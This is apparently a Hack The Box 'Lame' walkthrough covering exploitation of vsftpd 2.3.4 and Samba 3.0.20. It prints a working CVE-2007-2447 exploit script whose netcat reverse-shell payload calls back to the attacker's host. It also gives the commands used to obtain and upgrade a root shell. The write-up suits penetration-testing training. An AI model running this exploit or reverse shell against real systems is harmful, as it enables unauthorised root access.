Exploitation

Reference

netcat

Netcat Reverse Shells

nmap

SearchSploit: a Searchable Database of Exploits

Time to test the mettle of the exploits we uncovered. As before, we’ll start from the top.

vsftpd 2.3.4

Using the -x flag with SearchSploit, let’s examine the source code of the vsftpd exploit:

kali@kali:~/HTB/Lame$ searchsploit -x 17491
  Exploit: vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
      URL: https://www.exploit-db.com/exploits/17491
     Path: /usr/share/exploitdb/exploits/unix/remote/17491.rb
File Type: Ruby script, ASCII text, with CRLF line terminators

This exploit is written for Metasploit. It’s not terribly complex, and with a little effort we can piece together what the exploit does. The most important section of code is the exploit function. Let’s break it down.

The first part of the function connects to the target FTP service, then grabs the banner:

def exploit
[...]
        # Connect to the FTP service port first
        connect

        banner = sock.get_once(-1, 30).to_s
        print_status("Banner: #{banner.strip}")

With the connection established, the script sends a specially-crafted username:

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")

The #{rand_text_alphanumeric(rand(6)+1)} bit generates a string of one to six random alphanumeric characters. Let’s substitute XXXX and see what the sock.put function is sending to the FTP server:

USER XXXX:)\r\n

Dissecting this, we can see that the script is issuing the USER command to authenticate with the remote FTP service. Next, it sends XXXX, followed by :) (a smiley-face), followed by \r\n, which tells the FTP server that the command is complete.

Based on this information, it looks like any username will do, as long as it’s followed by the :) smiley.

After sending the crafted username, the script checks the response from the server. It checks whether the return value starts with 530, or any other response code besides 331, which would signal the failure of the exploit attempt:

if resp =~ /^530 /
        print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
        disconnect
        return
end

if resp !~ /^331 /
        print_error("This server did not respond as expected: #{resp.strip}")
        disconnect
        return
end

If the response code was 331, the script proceeds to send a randomly-generated password to the FTP service:

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

But this password is irrelevant; simply by sending the appropriate USER and PASS commands, the exploit should have triggered the backdoor. In this case, the backdoor opens a bind shell on port 6200, so the script checks to see if that port is open:

# Do not bother reading the response from password, just try the backdoor
nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

If the port was opened successfully, the script connects and provides a command-line backdoor to the target:

        if nsock
                print_good("Backdoor service has been spawned, handling...")
                handle_backdoor(nsock)
                return
        end

        disconnect

end

Now that we know how the exploit works, we no longer need it. This exploit is simple enough that we can attempt it by hand. Recall that in our original port scan, port 6200 was not open. We can double-check this easily with nmap:

kali@kali:~/HTB/Lame$ nmap -Pn -p 6200 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-28 14:45 EDT
Nmap scan report for 10.10.10.3
Host is up.

PORT     STATE    SERVICE
6200/tcp filtered lm-x

Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds

The port is marked as filtered, which means nmap could not tell whether the port was closed or open. Let’s see if netcat can shed any light on the situation:

kali@kali:~/HTB/Lame$ nc -vn -w 3 10.10.10.3 6200
(UNKNOWN) [10.10.10.3] 6200 (?) : Connection timed out

The port is refusing to connect. Now that we’ve proven the port to be closed (at least to the outside), let’s see if we can exploit the service. We’ll use netcat again, this time connecting to port 21 to send the appropriate exploit values:

kali@kali:~/HTB/Lame$ nc 10.10.10.3 21
220 (vsFTPd 2.3.4)
USER TEST:)
331 Please specify the password.
PASS WHATEVER

Having sent the username with the smiley-face, and an appropriate password, we can check port 6200 again to see if the backdoor was opened:

kali@kali:~/HTB/Lame$ nc -vn -w 3 10.10.10.3 6200
(UNKNOWN) [10.10.10.3] 6200 (?) : Connection timed out

No such luck. It appears that either this is a patched version of vsftpd, or port 6200 is being blocked by the firewall. Either way, it’s time to move to our next target.

Samba 3.0.20

We’ve got two potential vulnerabilities in this version of Samba. One is a security bypass, and the other is a command-execution vulnerability. Between the two, the latter seems like a more valuable vulnerability, and it’s applicable to our specific target version. For these reasons, we’ll target the command-execution vulnerability first. Using SearchSploit, let’s take a look at the source code:

kali@kali:~/HTB/Lame$ searchsploit -x 16320
  Exploit: Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
      URL: https://www.exploit-db.com/exploits/16320
     Path: /usr/share/exploitdb/exploits/unix/remote/16320.rb
File Type: Ruby script, ASCII text, with CRLF line terminators

This exploit is another Metasploit module. According to the exploit, the vulnerability is caused by the use of the non-default “username map script” configuration option. By specifying shell meta characters in the provided username, arbitrary commands can be executed.

The exploit references CVE-2007-2447. After searching online, I was able to find a blog post which explains the vulnerability and how it can be exploited. The post links to a GitHub repository which contains exploit code.

The exploit code requires Python 2 and the pysmb library, so I’ll be configuring it in a virtual environment. This allows me to configure Python and its libraries in a self-contained environment, instead of modifying the globally-installed libraries and Python versions.

If the virtualenv package isn’t installed, you’ll want to install it first:

kali@kali:~$ sudo apt install virtualenv
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  python-pip-whl python3-appdirs python3-distlib python3-filelock python3-virtualenv
The following NEW packages will be installed:
  python-pip-whl python3-appdirs python3-distlib python3-filelock python3-virtualenv virtualenv
0 upgraded, 6 newly installed, 0 to remove and 262 not upgraded.
Need to get 2,077 kB of archives.
After this operation, 3,365 kB of additional disk space will be used.
Do you want to continue? [Y/n] Y
[...]

Next, I’ll get the source code:

kali@kali:~$ git clone https://github.com/amriunix/cve-2007-2447.git
Cloning into 'cve-2007-2447'...
remote: Enumerating objects: 8, done.
remote: Total 8 (delta 0), reused 0 (delta 0), pack-reused 8
Receiving objects: 100% (8/8), done.
Resolving deltas: 100% (2/2), done.

Now, enter the target directory and create the virtual environment:

kali@kali:~$ cd cve-2007-2447/
kali@kali:~/cve-2007-2447$ virtualenv --python=python2 venv
created virtual environment CPython2.7.18.final.0-64 in 617ms
  creator CPython2Posix(dest=/home/kali/cve-2007-2447/venv, clear=False, global=False)
  seeder FromAppData(download=False, lockfile=latest, pkg_resources=latest, chardet=latest, setuptools=latest, distlib=latest, distro=latest, CacheControl=latest, progress=latest, msgpack=latest, contextlib2=latest, retrying=latest, six=latest, ipaddr=latest, pep517=latest, html5lib=latest, requests=latest, appdirs=latest, idna=latest, pyparsing=latest, certifi=latest, colorama=latest, pytoml=latest, webencodings=latest, pip=latest, packaging=latest, urllib3=latest, wheel=latest, via=copy, app_data_dir=/home/kali/.local/share/virtualenv/seed-app-data/v1.0.1.debian)
  activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator

Next, activate the virtual environment, then install the pysmb library:

kali@kali:~/cve-2007-2447$ source venv/bin/activate
(venv) kali@kali:~/cve-2007-2447$ pip install pysmb
/home/kali/cve-2007-2447/venv/lib/python2.7/site-packages/pkg_resources/py2_warn.py:21: UserWarning: Setuptools will stop working on Python 2
[...]
Collecting pysmb
[...]
Building wheels for collected packages: pysmb
  Building wheel for pysmb (setup.py) ... done
  Created wheel for pysmb: filename=pysmb-1.2.1-py2-none-any.whl size=83186 sha256=cbd7a67238206d39e7b1814f37bcdb06ecc46682b9d8fd22349a62cf7ac791e9
  Stored in directory: /home/kali/.cache/pip/wheels/ea/44/40/91948192fe53fb51c72ad07bf0a6325b531754bb3979d96d53
Successfully built pysmb
Installing collected packages: pyasn1, pysmb
Successfully installed pyasn1-0.4.8 pysmb-1.2.1

With this complete, we’re nearly ready to attempt the exploit. Only one last step: check the source code before we use it. Fortunately, this exploit is remarkably small:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 #!/usr/bin/python
 # -*- coding: utf-8 -*-

 # From : https://github.com/amriunix/cve-2007-2447
 # case study : https://amriunix.com/post/cve-2007-2447-samba-usermap-script/

 import sys
 from smb.SMBConnection import SMBConnection

 def exploit(rhost, rport, lhost, lport):
         payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
         username = "/=`nohup " + payload + "`"
         conn = SMBConnection(username, "", "", "")
         try:
             conn.connect(rhost, int(rport), timeout=1)
         except:
             print '[+] Payload was sent - check netcat !'

 if __name__ == '__main__':
     print('[*] CVE-2007-2447 - Samba usermap script')
     if len(sys.argv) != 5:
         print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT> <LHOST> <LPORT>")
     else:
         print("[+] Connecting !")
         rhost = sys.argv[1]
         rport = sys.argv[2]
         lhost = sys.argv[3]
         lport = sys.argv[4]
         exploit(rhost, rport, lhost, lport)

The most important part of this script is the exploit function. Let’s walk through it, like we did with the vsftpd exploit. To start, we have the function declaration:

def exploit(rhost, rport, lhost, lport):

This function takes four values as input, which correspond to the remote and local hosts and ports we wish to use. Let’s see how these values are used.

In the line, we can see how the payload is assembled:

payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'

The payload, when constructed, will look like this:

mkfifo /tmp/hago; nc [Local IP] [Local Port] 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago

This is a commonly-used netcat reverse shell “one-liner” which creates a reverse TCP backdoor, piping /bin/sh through netcat to the local host and port.

The following lines inject the payload into a carefully-formatted Username string, then send the exploit to the target:

username = "/=`nohup " + payload + "`"
conn = SMBConnection(username, "", "", "")
try:
    conn.connect(rhost, int(rport), timeout=1)
except:
    print '[+] Payload was sent - check netcat !'

Now that we understand how the exploit works, it’s time to test it out. First, we’ll set up a netcat listener on port 443, in order to catch our incoming reverse shell:

kali@kali:~$ sudo nc -vnlp 443
listening on [any] 443 ...

I like to use port 443 because it’s the default port for HTTPS; while many firewalls may block outbound traffic on strange ports like 6666, few will block outbound traffic on port 443, as this would prevent the system from communicating with HTTPS websites.

With our listener established, it’s time to attempt the exploit on the target. Let’s first check the exploit’s usage information (in case we forgot what we saw in the source code):

(venv) kali@kali:~/cve-2007-2447$ python usermap_script.py
[*] CVE-2007-2447 - Samba usermap script
[-] usage: python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>

Now that we understand how to run the exploit, let’s launch our attack! (In this example, my local IP is 10.10.14.15 – yours may be different.)

(venv) kali@kali:~/cve-2007-2447$ python usermap_script.py 10.10.10.3 139 10.10.14.15 443
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !

Returning to our netcat listener, we have a shell! Using the whoami command, we can see that we’re logged in as root:

kali@kali:~$ sudo nc -vnlp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.3] 58541
whoami
root

Excellent! Let’s get an improved shell using a Python trick:

python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/# export TERM=linux
export TERM=linux
root@lame:/#

We’ve now got access to the root user on this system. Congratulations! You can now capture the user.txt and root.txt flags, if you wish.